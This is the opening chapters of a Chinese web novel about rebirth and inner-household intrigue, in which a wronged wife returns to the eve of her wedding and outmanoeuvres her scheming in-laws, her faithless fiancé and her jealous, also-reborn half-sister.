《夫君兼祧两房,我嫁入皇宫你哭啥?》
第1章 兼祧两房
“美人儿,我弟让你独守空房,让哥哥好好疼你!”
“我弟早就另有新欢,今晚咱俩凑一对。”
令人作呕的酒气混着污言秽语钻进耳朵,楚念辞猛地咳醒……
一张坑洼的麻子丑脸近在咫尺。
她瞳孔骤缩,戒指上金针弹出,狠狠扎进对方风池穴。
麻子脸连哼都没哼就瘫软下去。
楚念辞剧烈咳嗽着坐起身,她咳得眼泪水都下来,胸口也一阵阵的窒息疼痛……
良久后,她平复了气息,抹干眼泪,难以置信地看着自己这双白皙柔嫩的手……
这不是自己那双布满老茧的手……
明明刚才,她被婆母谢氏灌下一碗鹤顶红,躺在京城承恩伯府病榻上,垂死前听见圣旨封她为一品诰命夫人。
蓦然之间,她抬头环顾四周,红木家具、多宝阁上琳琅满目,墙上“恩荣裕泰”的匾额……
正是承恩伯府,她的主院威瑞轩。
自己竟然回到了十年前…大婚前二日差点被设计失身的时刻……
目光落回地上昏死的男人,眼底恨火燃得她凤目灼痛。
别看这人穿得破破烂烂,他其实是府中大公子蔺景藩。
这厮一年前,从边关兵营逃回,是婆母谢氏让他毁脸,以马夫身份生活在后院……
自己辛苦掌家半年,婆母谢氏竟让他潜入房中,想毁了她清白。
就因为自己不肯交出丰厚嫁妆。
心中恨意蔓延,她一动气,浑身一阵阵火烧火燎……是那该死的媚毒发作了!
她前世曾拜名医为师,若不是猝不及防,怎会中这媚毒,差点着了道。
楚念辞咬紧牙关,换了根金针迅速刺入几个大穴。
药毒被压下。
她胡乱披上夹袄,赤脚踩在冰冷的地面上,刺骨的寒意从脚底蹿上来,她已顾不得了,再有几十息,丈夫蔺景瑞就会过来捉奸。
她踉跄走到多宝阁前,凭着前世的记忆,握住梅瓶轻轻一转。
机关转动,多宝阁缓缓移开,露出藏在后面的密室。
这是全府只有她知道的密室。
把蔺景藩拖进密室。
刚收拾完,门口就传来急促的脚步声。
“咚咚……”沉闷的拍门声响起。
“开门!”那是蔺景瑞的声音,没了温润,只有怒气,“再不开,我撞门了!”
楚念辞深吸一口气,关上暗门,穿上绣花鞋,慢慢拉开房门。
蔺景瑞裹着一身寒气闯进来,烛火被风吹得疯狂摇曳,在墙上投下扭曲的影子。
楚念辞眼角余光瞟见他俊美的眸中满是怒意。
蔺景瑞目光如刀锋般在房间里扫过。
每一个角落都不放过。
疾步走到床榻边,一把掀开被褥。
看着空空如也的床榻,片刻怔忪后,他紧绷的肩膀微微放松,像是松了口气。
楚念辞看着他这番作态,心头惊惶随即化作一股恨意。
他果然如前世一样,闯进威瑞轩来捉奸。
前世他看见“马夫”趴在她身上,不问青红皂白就甩了她几巴掌,然后用冰锥般的声音,刺穿了自己:“自甘**,就做个贱妾吧,只有舜卿才配做我正妻。”
说完便拂袖而去。
当时若不是母亲闻讯,又贴补了侯府几十万两白银,她可能连这个世妇空名都不会拥有。
“太不像话。”蔺景瑞沉着俊脸,冷然坐下。
“我做什么了,让你半夜闯进来训斥?”楚念辞双手颤抖,但她很快压住怒火,恢复了平静,慢慢走到桌边坐下。
这一世,她没让蔺景瑞抓到把柄。
她倒要看看,这个负心汉还能找出什么借口来安置好庶妹楚舜卿。
楚念辞冷眼地看着这个男人。
他一身湛青便服,乌黑头发用红缨冠紧束,翠眉星眸,唇红齿白,这张曾令她心驰的俊美面容此刻带着愠怒。
“你下午找母亲胡闹什么?”他开口便是质问,额间红缨随着激动轻轻发颤。
“此次南昭抗疫,我染上时疫,多亏舜卿出手相救,她用古方控制疫情,皇后已封她为唯一的女内医,自然不能屈居你之下,兄长去世,我代兄娶妻,给舜卿一个名分,有何不妥,你别如此善妒。”
楚念辞双手冰凉。
没有借口,他也硬说出来了。
原来一计不成。
他们就软饭硬吃。
没有任何借口,他居然还说得振振有词。
她双手紧握成拳,却未像前世那般暴怒地指责,只是还是控制不住,声音因气愤而颤抖,“你当真只是给她一个名分,不会与之圆房?”
蔺景瑞眉头紧锁,隐隐不悦,“为了吾兄承继香火,当然要与之……”
说到这儿,蔺景瑞面露一丝尴尬。
半晌后,方缓声劝解道,“虽是共侍一夫,你依然是世子夫人,分住东西两院,井水不犯河水。”
楚念辞差点冷笑出声。
“共侍一夫?”楚念辞语带嘲讽,“楚舜卿待字闺中时,口口声声说要‘一生一世一双人’,如今倒愿意与我共侍一夫了?”
“舜卿通情达理,不会吃醋拈酸,”蔺景瑞语气微恼,“此事父母都已首肯,今日我来不是商量,只是告知于你。”
楚念辞用帕子轻轻掩住嘴角,遮住那一抹嘲讽。
他根本不了解她那个“好妹妹”。
余舜卿最是善妒。
前世就因这“共侍一夫”,余舜卿恨透了她。
日日寻衅,变着法子与她明争暗斗。
“那你可还记得,曾经对我许下的诺言?”她轻声问。
一年前,她十六岁,他亲自到扬州提亲,当众发誓:“我心悦念辞,此生唯愿与她白头偕老。”
半年前,她千里迢迢带着百万嫁妆嫁入承恩伯府。
还没等到正式完婚,他就被封为内医院使,奉命出使南昭抗疫,临走留下亲笔信
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:“念辞,等我。”
言犹在耳,如今他却要娶她同父异母的妹妹。
蔺景瑞面露愧色,但仅仅是一瞬,就又抬头:“年少一时戏言而已,但我没对不起你,对你的情谊是真,对舜卿的爱意也是真,我答应你,此生只有你和她,再不纳妾,望你成全。”
楚念辞垂下长长的睫毛,掩去眼底的讥诮。
对我的情是真的。
对妹妹的爱意也是真的。
当初她就是相信了这句话,为他操持内宅耗尽心血。
日日忙碌,夜夜为琐事烦忧。
不到三十岁的人,已是满头花白。
但位极人臣后,一个又一个的妾室抬进来,年长色衰,被他弃若敝履,最后被婆母强行灌下一碗鹤顶红香消玉殒。
那些少女真心,终究是喂了狗。
而余舜卿竟然相信他这句。
始终认为自己是两个人之间的一根刺。
日日来找自己的麻烦,从一个怀春的佳人,变成了刻薄恶毒的妒妇。
最后竟因自己小产,便来谋害她的孩子。
蔺景瑞见她低眉不语,以为她接受了,语气缓和下来:“你放心,我与舜卿相处数月,始终守着礼数,后日自会先与你圆房,若你争气,先怀上嫡长,舜卿便越不过你去。”
守着礼数?
楚念辞听得差点吐了。
前世就是被这话骗了,以为他心属自己,代兄娶妻是迫不得已。
后来才得知,其实他在抗疫途中他就与舜卿暗通款曲。
这时候舜卿应该已怀有一个月身孕。
她强忍着啐他一脸的冲动,平静地问:“舜卿呢?回来几天了,为何不来见我?”
“舜卿要为父母调养身体,还要进宫为贵人请平安脉,没空陪你闲聊。”
调养身体?请平安脉?
楚念辞心中冷笑。
公婆患的都是顽疾。
公爹是军营里落下的严重风湿,婆母是生产时留下的风疾头痛。
全是她精心开方调理,日夜侍奉在侧,才勉强压制住病情。
不是她自夸,离了自己祛风丸,余舜卿怕是连维持病情稳定都难。
她那立功古方,还是偷了自己的。
现在想想真是后悔,为何出嫁前听信她的花言巧语,把她带来京城。
楚念辞乖巧地抬头,挑唇一笑:“我想和她说几句话,行吗?”
暖黄的烛光下,她微微上挑的凤眸眼尾泛着胭红,一双眸子灵动皎洁,眉间一点美人痣鲜艳,丹唇轻抿宛如初绽的海棠花蕊。
蔺景瑞被这艳光晃得失神,不由自主微微倾身,伸手揽住了她纤腰。
谁知手还没摸上,指尖就传来一阵刺痛。
他不由缩回了手,看向楚念辞,只见她黑眸冷淡疏离,不由一阵尴尬。
这时,门口传来一声娇斥。
“姐姐要见我吗,我也想见姐姐呢。”
语音未落,一个丽人掀帘而入。
第2章 计赚庶妹
来人正是庶妹楚舜卿。
她沉着脸推门进来,一身湛青色医官服,容长脸,细眉杏眼,翘鼻薄唇,五官单看虽不出众,凑在一起却别具娇俏韵味。
尤其那双明亮的眸子,斜眼看人时自带三分风流。
她抬手抚了下额前碎发,斜睨着眼,目光阴冷沉静。
再见到庶妹,楚念辞心头五味杂陈。
她既是自己的骨肉至亲,也是自己的仇敌。
前世,她流产失了孩子,却了怪到自己头上,跑来害自己的孩子。
深吸一口气,楚念辞注意到她神情沉冷,此时的楚舜卿本该春风得意,刚被皇后钦点为女医官,正是意气风发之时,绝不会这般沉稳,前世她可没主动来见自己。
唯一的解释就是,楚舜卿也重生了。
“舜卿,夜深露重,怎么不让丫鬟跟着?”蔺景瑞上前拢住她的手,轻轻为她呵气,目光温柔缱绻。
楚念辞别开脸。
十年磋磨早已消磨尽对他最后的情意,此时只觉得讽刺恶心。
“景瑞,我想单独和姐姐说几句体己话。”楚舜卿将他的手贴在自己脸侧,娇柔地笑着,目光沉迷。
蔺景瑞犹豫片刻,宠溺地点点头:“好吧,阿辞别欺负妹妹。”
说罢掸了掸袍角,起身离去。
烛火在他开门的一刻,有一瞬间的乱晃。
楚念辞盯着那烛火,整理如烛火般摇曳的思绪……
楚舜卿哼了一声,先冷声开口:“楚念辞!”
她自以为一袭官袍加身,足以压得楚念辞这内宅妇人不敢抬头。
却不料楚念辞目光清冷,直直迎上她的视线,倒让她有些意外。
楚舜卿收回目光,可语气仍咄咄逼人,
“你占着我的位置,有意思吗?"
“抢走景瑞?"
“抢走我的人生?”
楚念辞无语了。
这庶妹重生后第一件事。
是来找自己兴师问罪。
认为自己抢走了她的一切。
她以为是自己夺走了管家权。
分走了丈夫的宠爱。
殊不知蔺景瑞薄情寡义。
就连日后,那些小妾,都是他强逼自己纳下,楚舜卿却以为自己用她们来分宠。
楚念辞平静道:“我也不想和你争,可我有其他的选择吗?”
“别顾左右而言他,”楚舜卿严厉地说,“把你夺走的东西还给我。”
楚念辞忽然笑了,那笑容美得明艳逼人,让楚舜卿心里莫名的不舒服。
“这些我根本不屑要。”楚念辞目光扫过她闪闪眸子。
自以为掌握先机的楚舜卿扬起下巴:“既然如此,看在姐妹情分上,我劝你今夜就离开,别耍花招,否则你不会有好下场。”
离开?
她何尝不想离开?
楚念辞只觉得可笑,可是不能偷偷走,蔺家可是有皇后撑腰的。
偷偷离开会连累扬州的母亲和舅舅。
要走也得光明正大。
就把这个烂摊子留给楚舜卿好了。
这楚舜卿从来只知风花雪月,没有管理过庶务。
哪里知道,伯府早就是个空架子了。
公婆贪婪狠毒,小叔挥霍无度,小姑骄纵任性。
只出不进日日坐吃山空,承恩伯府才是虎穴龙潭。
表面上有皇后女儿四节赏赐,其实都是不值钱之物。
公爹虽有爵位却没实职,每月只能从内务府领几十担禄米,折成银子也就百来两。
蔺景瑞刚当上内医正,月俸也不过二百两。
可光公婆两人每月的药钱就要二百来两。
这还多亏自己亲自配制祛风丸,省了花费。
全家上下吃穿用度、人情往来,每月少说也要上千两。
婆母谢氏还死死掌着管家钥匙,不肯给她。
那一品诰命的殊荣,其实是她用百万嫁妆换来的。
而自己能控制住内宅,是后来看清了这家人的嘴脸,慢慢将命运掌控在手中。
也正是因为这一点,婆母谢氏才下了死手。
而蔺景瑞才华不足,却心高气傲,全靠她上下打点为他铺路,才得以位极人臣。
楚念辞静静地看着庶妹。
唇角带着若有若无的笑。
“既然话说开了,我也不想继续留在这儿,”她悠悠叹口气,“可我走不掉,如之奈何。”
“怎么走不掉,你可以回江南,回扬州,回临洮,再不济躲入深山,学发为尼……”
“无论走到哪,你能保证蔺景瑞不会把我接回来?”楚念辞冷笑反问。
“这……”楚舜卿低眉沉思。
好像她说得有点道理。
伯府现在有皇后撑腰,在这大夏国,无论走到哪里。
谁也不能保证,蔺郎不会把人接回来。
“除非是伯府都不敢惹的地方。”楚念辞喃喃低语,似启示,似提醒。
“伯府都不敢惹的地方?”楚舜卿蹙起细细的眉毛。
“皇宫。”楚舜卿突然眼前一亮。
皇后娘娘很赏识自己,安排她进宫不难?
就算蔺景瑞是皇帝的小舅子,但他也不敢藐视皇权。
唯有姐姐入宫,成了皇帝的女人,才能断了他的念想。
“我可不想进宫,深宫如海。”楚念辞连连摇头,眼中却闪过一丝狡黠的笑。
她算是看透了,男人的承诺和情爱最靠不住。
既然重活一世,还要斗,不如去皇宫里面斗,博一个荣华富贵,锦绣前程。
前世皇帝身染顽疾,但自己会医术。
宫人贪财势利,自己有百万嫁妆。
嫔妃钩心斗角,自己有十年的宅斗经验。
上辈子她做到一品诰命,见过皇帝一面。
勤政殿外遥遥一见。
只记得那是一个风华绝代的少年。
容貌俊美,气质出尘,若是混个嫔妃当当,自然是好,就算不成,凭她的嫁妆也足够在宫里过得舒坦。
反正她只求荣华富贵,不求一心人。
只求及时行乐,不求天长地久。
这可由不得你了,楚舜卿冷笑一声。
她上辈子当了十年女内医。
陷入皇宫
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尔虞我诈,临了还被皇后当作弃子,赶出皇宫。
最后连丈夫也厌弃了自己。
深宫**,一点也不假。
而姐姐却在伯府做到了一品诰命夫人。
全是嫡姐夺走了本该属于她的位子,抢了她的人生。
深宫那么多家世显赫的嫔妃,嫡姐一个商贾之女,拿什么跟她们争?
而且皇后面慈心狠。
太后心机深沉。
皇帝虽生得龙章凤姿,但体虚身弱,只能活上几年就薨逝了。
姐姐进宫,真是自寻死路。
“你先进宫躲一阵,等风头过去,我再想办法接你回来。”楚舜卿劝道。
“那不行,我可不想进宫?”
楚舜卿闻言,还真有点急了。
景瑞对姐姐还是有情意的。
若是她赖在这里,自己还没有多少胜算。
楚舜卿眯起眼睛道:“这可由不得你,我明日进宫求皇后,等圣旨下来,你不去也得去。”
以手上的功劳去求皇后,应该没什么问题。
况且她知道,景瑞没有把姐姐的名字,告诉皇后。
自己完全可以钻这个空子。
景瑞是我的。
一品诰命夫人也是我的了。
她笑得信心满满。
楚念辞将庶妹志在必得的神情尽收眼底,心中浮现一丝冷嘲。
楚舜卿对上她昳丽狡黠的面庞,心头不由闪过一丝疑惑。
总感到哪里不对?
再抬头时,只见楚念辞乌眸沉静清冷,不见半分方才的兴奋。
她哼了一声,口气又硬了几分:“我后日我要与景瑞圆房,你把这威瑞轩让出来给我。”
说完便傲然起身,挺着脊背而去。
看着她倨傲的背影,楚念辞唇边泛起讥讽的笑。
临走还想恶心自己一把。
在这儿圆房?
很好。
听着她脚步声慢慢消失,楚念辞起身打开了密室暗门。
蔺景藩果然已经醒了,那双眼睛像狼一样恶狠狠地瞪着她。
楚念辞见他满脸不甘,反而轻轻笑了。
刚才她们那番对话,想必他全听见了。
亲耳听到弟弟不仅夺了爵位,还要代自己娶妻,他怎能不恨?
她没多废话,直接上前一针扎在他天门穴上。
这是秘技,中针者会先浑身痛痒。
但不会有生命之忧。
“你弟弟代你娶妻,不甘心吧?”她冷声道。
见他目露凶光,她又道。
“你浑身痛痒吧,我这一针有毒,马上你胳膊上会有一道红线,等它长到心口,就是你的死期,想要解毒,三日内,必须和女人圆房。”
蔺景藩痛得咬牙切齿,起初还想骂人,可一抬胳膊,真看到手上一道红线隐隐浮现,顿时吓得魂飞魄散,连连磕头:“饶命,不关我事,都是死老太逼我做的,你去找她啊……”
楚念辞懒得再听,又是一针将他扎晕。
这可是她那“好妹妹”未来的丈夫,得留着。
后日的圆房夜,正好送他们一份“大礼”。
第3章 收拾行囊,不留丝毫给白眼狼。
楚念辞披上孔雀羽大氅,快步走向西边耳房。
一进门,就见丫鬟团圆和红缨被捆得结实实扔在地上,嘴里塞着布团。
她急忙上前为两人松绑。
“姑娘你没事吗,”会武功的红缨跳起来就查看她周身,“奴婢无用,被人从背后敲了闷棍,定是府里那些黑心的想偷嫁妆……”
胖嘟嘟的团圆,喘着粗气爬起来:“太欺负人了,我刚蒸好的糖酥酪都给掀了……”
看着这两个从小陪自己长大的丫头,楚念辞心头一酸。
两个丫鬟与自己同年,红缨比自己大一个月,而团圆比自己小两个月。
俏丽泼辣的红缨为护着她顶撞婆母,后来莫名失踪,再找到时已遭人**而死,团圆一直陪她到最后,却被小姑子绑进水牢活活饿死。
她握住两人温热的手,眼泪忍不住掉下来。
红缨忙拿帕子给她擦泪:“姑娘别急,听说世子回来了,奴婢这就去求他做主!”
“别去,”楚念辞冷声阻止,“从今往后,我与他再无关系。”
两人对视一眼,都有些诧异……
姑娘以往听到世子的消息,哪次不是欢天喜地?
如今怎么会如见仇人。
回到房中,楚念辞打开暗室,指着昏迷的蔺景藩道:“公婆想借他给我‘留种’,世子刚刚来捉奸……”
她把今晚之事说了一遍,只改了一处,推说是自己提前察觉不对,才早有防备。
红缨气得柳眉倒竖,抬脚就踹向蔺景藩:“丧良心啊,姑娘进府贴了那么多银子,他们竟这样对您,我找他们算账去!”
“缨姐,”团圆赶紧拦住,“这人就是那老巫婆派来的,你找谁算账?”
红缨眼睛通红,还想把人拖出去打。
“就丢在这儿,”楚念辞淡淡地道,“留着有用。”
“会不会出事?”团圆担心道。
“放心,他们不敢声张。”楚念辞语气笃定。
蔺景藩是当了逃兵跑回来的,他们买通了兵部,报了阵亡,还被朝廷通报嘉奖,若此事传出去,第一个倒霉的就是她那好婆母。
楚念辞坐在灯下,心里已有了盘算。
她信不过楚舜卿,必须多留一手。
于是提笔写好信,将自己的情况写清楚,交给红缨:“明早送去铜锣巷舅父那儿。”
舅父乔兆龄虽是商贾,却不是一般商人。
他三年前,曾捐献军饷,被先皇赐了“天下表率”金匾,还与镇国公府交好。
有他相助接应,方能以策万全。
楚念辞又吩咐团圆:“让咱们的人都把行李收拾好,随时准备走。”
团圆眼睛一亮:“姑娘,这破地方早该离开!”
红缨也满脸兴奋:“我连夜护姑娘走。”
楚念辞却摇头:“不能偷偷走,这门亲事关乎全族,若我们私逃,伯府反咬一口,说我们卷款潜逃,那才是百口莫辩。”
她指尖轻点桌面,目光沉静,“我不能连累母亲,要离开也得走得光明正大。”
想到母亲,楚念辞眼眶就湿了。
母亲乔晏殊是扬州首富的爱女,从小被捧在手心,如珠如宝。
可惜商贾出身,婚事上高不成低不就,熬到十八岁,终究拗不过闲言碎语,嫁给了已有妾室的父亲……扬州通判楚茂林。
母亲生性刚烈,生下她后便与父亲分房而居,甚至主动为他纳妾。
谁知父亲偏从外面带回了清倌人姚氏……楚舜卿的生母。
母亲绝不许风尘女子进门,为此与父亲彻底闹翻,从此把所有心思都放在女儿身上。
怕女儿因出身受委屈,母亲早早为她订下京城的亲事,盼着丰厚嫁妆能护她一世周全,为让女儿在深宅大院有自保之力,更送她去学医。
十六岁,她从药王谷学成归来,初见蔺景瑞,只觉得他温润如玉,君子端方,一颗心便陷了进去。
隔年母亲备下百万嫁妆,含泪送她出阁:“总算为我儿觅得良缘,愿你们夫妻和睦,平安一生。”
岂料这竟是最后一面。
嫁入伯府不久,母亲便病逝,他们竟联手瞒住消息,不让她回去奔丧。
直到她受封二等诰命那日,楚舜卿又妒又恨说漏了嘴:“你娘早**,如今我娘已是正经继室,我也是嫡女了!”
这一世,她要护住母亲,再不重蹈覆辙。
想到这儿,她问红缨,“这半年我们贴补了多少?”
“零散银子花了八千多两,送出去的首饰、玉器、珍玩差不多值一万多两,好在那张百万两的银票,还有京城的药铺的契都还没动。”红缨如数家珍,她记忆力好,还会算盘,账面全是她管着。
听到这个数目,楚念辞心口发疼。
伯府当初娶她,聘礼也就给了几百两,可她嫁过来一看,“窟窿”竟快十万两。
幸亏她留了个心眼,以尚未完婚为由,没把这笔钱填进去。
红缨在一旁气得跺脚:“姑娘,绝不能便宜这些白眼狼,送出去的东西也得让他们吐出来!”
看着这个火急火燎的俏丫头,楚念辞淡淡一笑:“放心,会让他们吐出来,团圆,你连夜吩咐下去,把送出去的玉器、珍玩全部收回来,明天一早装箱。”
这次来京城,她带了五十几个下人,个个精明能干,既然决定入宫,这些人自然不能留给伯府,先安排到舅父处暂住。
“姑娘,”团圆连忙问,“那些首饰呢?”
红缨抢着说:“我去各房搜回来!”
楚念辞失笑:“首饰先不着急。”
如果她松口,这丫头还真能从别人身上扯,可她不想为了这点东西,这时候把他们给逼急了。
这时,门外传来轻轻的脚步声,定是那婆母见久久不见动静,派人来查看。
楚念辞故意骂了一声,“刚刚那醉汉赶走了吗?”
“姑娘,赶走
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了。”红缨会意,大声回禀。
脚步声逐渐远去。
次日清晨,阳光透过茜纱窗洒进屋内。
红缨正为楚念辞梳妆,管事豆蔻未经通报便掀帘闯入:“姑娘,伯爷和夫人让您立刻去主屋!”
她是伯夫人派来的眼线。
定是搬东西的动静惊动了他们。
要在往日,楚念辞天不亮就会去请安,今日却故意拖延。
红缨利落地绾好发髻,冷声道:“急什么,姑娘还未用早膳。”
豆蔻脸一沉,正要发作,却对上楚念辞扫来的目光……
那清凌凌的目光,带着刀锋般的冷意,全不似往日温和。
她立刻咽下话头,垂首退到一旁。
楚念辞从容用完早膳,向红缨递了个眼色,示意她趁机送信,这才起身:“走吧,团圆,咱们去前头消消食。”
她要去会会这人间的虎豹豺狼。
冬日暖阳很温和,楚念辞却被光线晃得微微眯眼,时隔两世,她有一瞬重见天日的恍惚。
一路走过草木扶疏的庭院,一炷香后,来到主厅外,姨娘和庶子女们如鹌鹑般缩着脖子站在廊下。
伯府规矩森严,嫡庶分明,除了伯夫人嫡子女,其余人只在廊下吹冷风。
楚念辞踏入厅堂,迎面一块黑底金字的“朝晖堂”匾额,下方挂着青绿山水画,正中两张太师椅,两边实木桌椅排列整齐,乌木窗棂边立着**架,尽管烧了好几个炭炉,可炭火烧得再旺也驱不散那股陈年腐气。
一眼就看见了坐在上首太师椅上的谢氏,指节微微收紧……但很快又松开手。
她也不行礼,径直走到右侧主位坐下。
这个举动让老伯爷蔺北城顿时黑了脸。
他四十多岁,皮肤黝黑,一身玄色便服,武将出身的他,眉宇间犹存英气,沉着脸吹着茶沫。
伯夫人谢氏穿着狐**滚边青袄,皮肤白皙,面容端丽,正享受身后小女儿蔺景珏的捶背。
蔺景珏见楚念辞进门,她眸光冷淡,傲然地撇了一下嘴角。
右侧坐着伯府三少爷蔺景行。
“伯父、伯母,晨安。”楚念辞从容改了口。
这声称呼让主位二人面色一僵。
尚未拜堂,确实算不得正经儿媳,他们一时竟无法挑理。
蔺景行忍不住冷面斥责:“来得迟就算了,还没大没小,谁准你搬走我屋里的东西?”
“四公子,我与景瑞尚未成亲,现在还是外人,拿回自己的东西,”楚念辞抬眸微笑,“你有意见?”
蔺景行没想到她如此不留情面,一时气结。
谢氏瞪了儿子一眼,温声打圆场:“怎么跟你嫂子说话,辞儿,你虽没有和景瑞成亲,但也是一家人,别说这见外话,明日你与景瑞完婚,人多手杂,你嫁妆太多,先放到娘这儿替你保管。”
“……”楚念辞。
这婆母果然还是如前世一般吃相难看。
第4章 彻底翻脸,谢氏犯病。
楚念辞唇角微嘲。
“多谢伯母关怀,院中事务我自有安排,”楚念辞话锋一转,直接采取了攻势,“景瑞要代兄娶妻一事,伯母当真觉得妥当?”
谢氏脸上笑容微僵,随即又舒展开来,语气和缓:“不过是为了延续大房香火,念辞你识大体,不必为此介怀。”
“那么,”楚念辞唇角噙着一抹淡笑,“伯母准备亲自操办这门亲事了?”
谢氏被问得一怔,很快又挂上那副惯常的慈和面容:“傻孩子,你是景瑞正妻,这事当然由你操办,明日舜卿进门,你说怎么办就怎么办,也显显你当家主母的威风。”
楚念辞几乎要冷笑出声。
主母的威风?
说得倒是冠冕堂皇。
不过是算计着她那笔丰厚的嫁妆,想用她的银子,风风光光地替自己的丈夫再娶一房妻子。
她目光扫过谢氏红润光洁的面颊……自己精心调制的“玉女粉”与“祛风丸”果然功效显著。
竟让伯夫人有足够的精力,来如此算计她。
“大房娶妻,自有公中银钱支应,何须我越俎代庖?”楚念辞语气平静。
谢氏的笑容有些挂不住了,“你这孩子,怎么这般见外?你帮舜卿进门,她有医术,能在官场上助景瑞一臂之力,来日景瑞加官晋爵,而你这个正妻,也有诰命封赏,不吃亏呀。”
诰命封赏。
楚念辞眼底掠过讥讽。
前世,她就是信了这番话,掏空嫁妆,耗尽心血,为两人的前程铺路。
结果呢?
丈夫位极人臣,老夫人享尽荣华,庶妹作威作福。
她只落得个空名头,耗得人老珠黄,支离破碎。
楚念辞抬眼直视谢氏:“我不便操办此事,还是您做主吧。”
谢氏的脸色彻底沉了下来:“这恐怕由不得你,你已是我蔺家妇,轮不到你来说愿或不愿。”
“伯母,现在我还未入门,您还指派不了我。”
一旁蔺景珏终于按捺不住,“腾”地站起身。
“楚念辞,”她冷声喝道,圆润的脸颊因怒气鼓了起来,“你推三阻四,摆什么架子?不过一介商贾之女,还真当自己是世家千金了?信不信我让二哥打你一顿,扔进柴房饿几天,看你还不老实!”
楚念辞目光平静地掠过她骄纵的脸。
伯夫人生了三子二女,长子蔺景藩,次女蔺景瑟,入宫为后,三子蔺景瑞,四子蔺景行,这蔺景珏是最小的女儿,才十五,最是娇惯。
她目光落在那支赤金点翠簪子,还有腕上那只通透的翡翠镯子,都是从她这里硬拿去的。
如今戴着她的东西,却扬言要把她关进柴房,真是脸皮够厚。
“想要说嘴也要自身硬,你把东西摘下来还我,”楚念辞语气淡淡,“再来说嘴,摆威风。”
蔺景珏气得脸颊涨红:“送出去的东西哪有要回去的道理?我就不还!”
楚念辞忽然笑了。
眉间那点朱砂痣衬得她目光慑人:“好个大家闺秀,强占他人之物不还,与市井泼皮何异?”
厅内静了一瞬。
蔺景珏满面赤色,嘴角咬得通红。
她理智崩断,几步冲上前抬手就要朝楚念辞脸上扇去……
一直护在主子身边的团圆早有防备。
她虽不会武,但生得高大壮实,见状立刻往前一挡,蔺景珏一下子撞了个人仰马翻……
“哎呀!”
蔺景珏踉跄摔进旁边的椅子里,打翻了一桌杯盏。
“哗啦……”瓷片碎了一地。
她呆坐在狼藉中,一时懵住。
“反了,真是反了,”老伯爷猛地将茶盖砸在桌上,“你竟敢纵容贱奴当众殴打小姑,来人,把这贱奴拖下去杖毙!”
堂外几个粗壮嬷嬷,闻言立刻冲进屋,裸着袖子就要来拽团圆。
“我看谁敢!”楚念辞倏然起身。
既然脸皮已撕破,她索性不再遮掩:“父亲既要动家法,不如先把后院那位‘马夫’请来,一并教训了如何?”
她目光扫过众人。
这事若捅出去,到时候,且看看究竟是谁吃亏。
此言一出,蔺景珏脸上血色尽褪,方才的嚣张气焰荡然无存,跌在椅中直发抖。
也不知是气的还是吓的。
谢氏脸色也骤然变了。
昨晚那桩算计,彻底败露了。
这丫头什么都知道了。
原以为只是个没见识的商女,竟有手段查出这等隐秘……谢氏心头不由泛起悔意,早知如此,昨夜不该行那一步险棋。
无论如何,眼下必须把这事压下去。
她挥手,让那些婆子退下,语气和缓劝道:“念辞,你素来是个懂事的,既已嫁入蔺家,我们便是一体,自该以家族声誉为先,有些事闹开了,于你、于你母家都没有好处。”
楚念辞迎上她的目光,忽地一笑:“母亲说的是,有些事闹开了,大家面上都不好看,明日舜卿妹妹的婚事,公中想必会全权承担,不必我来‘操心’了,对吧?”
厅内霎时一片死寂。
楚念辞迎着众人各异的目光,又淡淡补充:“伯
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父、伯母,既说到这个份上,我只求一封放妻书,让我回江南去。”
几息之后……
“砰!”
老伯爷将茶盏狠狠掼在地上,碎瓷四溅:“休想!我伯府从未有过和离之妇!”
谢氏也蹙紧眉头,语气愠怒:“你怎如此这般不知好歹?”
楚念辞缓缓起身,腰背笔直如竹:“我去意已决,请放我南归。”
她心里清楚此刻走不了,却偏要这样说。
只为让他们以为,只要将她困在府中便万事大吉。
老伯爷夫妇怔怔地望着她。
眼前女子眉目坚毅,如寒梅立雪,与从前那温顺模样判若两人。
片刻后,楚念辞转身欲走,团圆见状,忙利落地为她披上白狐斗篷。
“站住,”谢氏真急了,脸色骤沉,“你就不怕被外人耻笑,不怕连累亲族声誉?”
“旁人爱说什么,让他们说去。”
“你……”老伯爷气得拳头捶桌。
谢氏涨红了脸,剧烈咳嗽起来,抬手捂住额头:“头疼……”
身旁嬷嬷慌忙取来药匣,打开一看,里头空空如也。
“辞儿……”谢氏唇色惨白,颤声唤道,“快,快把祛风丸拿来……”
“祛风丸?”楚念辞目光淡漠,“前几日便告诉过您,那药里有一味白**,早已用尽,无处可寻。”
她边说边系好斗篷系带,转身欲走。
“你敢!”一直坐在旁边的蔺景行猛地起身拦住去路。
这位小叔子生得英气,可惜眼窝泛青,一副纵欲过度的模样。
他指着楚念辞骂道:“扣着母亲的药不拿出来?信不信我让二哥休了你,看你还敢嚣张!”
楚念辞冷眼睨他。
这个不学无术的浪荡子,前几日才从她这儿支走一笔诗会“应酬”银子。
她唇边浮起讥诮:“求之不得,劳烦你快去和你哥说说。”
蔺景行一愣,还没反应过来。
团圆已一膀子将他挤开:“三少爷,现成有位女御医在府里,您怎么不去求她?”
一旁的蔺景珏闻言,傲然道:“让她走,不就是祛风丸吗?等会儿我让大嫂给母亲配。”
楚念辞心中冷笑。
她那祛风丸用了十几味秘方药材,独此一份。
她倒要看看,他们如何“配”得出来。
“既然无事,我先告辞了。”她转身向外。
“只要我有一口气在,你就别想踏出伯府半步!”老伯爷的怒吼自身后传来。
楚念辞脚步未停,带着团圆径直离去。
第5章 这辈子,休想离开我身边。
楚念辞一走,厅里顿时一片死寂。
蔺家人面面相觑,脸色铁青。
谁都没想到,一向温和知礼好拿捏的楚念辞,竟这般强硬。
谢氏扶着蔺景珏坐下,和蔼慈祥的脸上只剩冰冷阴沉。
她咳了几声,喘息未定,便招手叫来心腹田嬷嬷,压低声音道:“去马房看看老大回来没有,别是醉死在外头了,成事不足,败事有余的东西。”
田嬷嬷应声出去。
谢氏又扫了眼身后几个粗壮的婆子:“给我盯紧威瑞轩,别让她出府,等明日与景瑞拜了堂,入了洞房,自然就老实了。”
说到底,这丫头在京中没有靠山。
有个舅舅也不过是生意人,兴不起什么大浪。
即便江南娘家日后找来,生米煮成熟饭,他们也只好认了。
再说了,伯府给她的可是正妻之位,谁又能挑出理来?
几个嬷嬷低头应诺。
“她看来是不服管教了,”蔺北城黑着脸起身,来回踱步,“老夫这就进宫,向皇后娘娘求一道明旨,坐实景瑞代兄娶妻之事,等旨意下来,我倒要看看这忤逆之女还怎么嚣张!”
谢氏白着脸点头,她捂着头,疼得说不出话了,只剩压抑的咳嗽。
这时,余舜卿满脸喜色地走了进来。
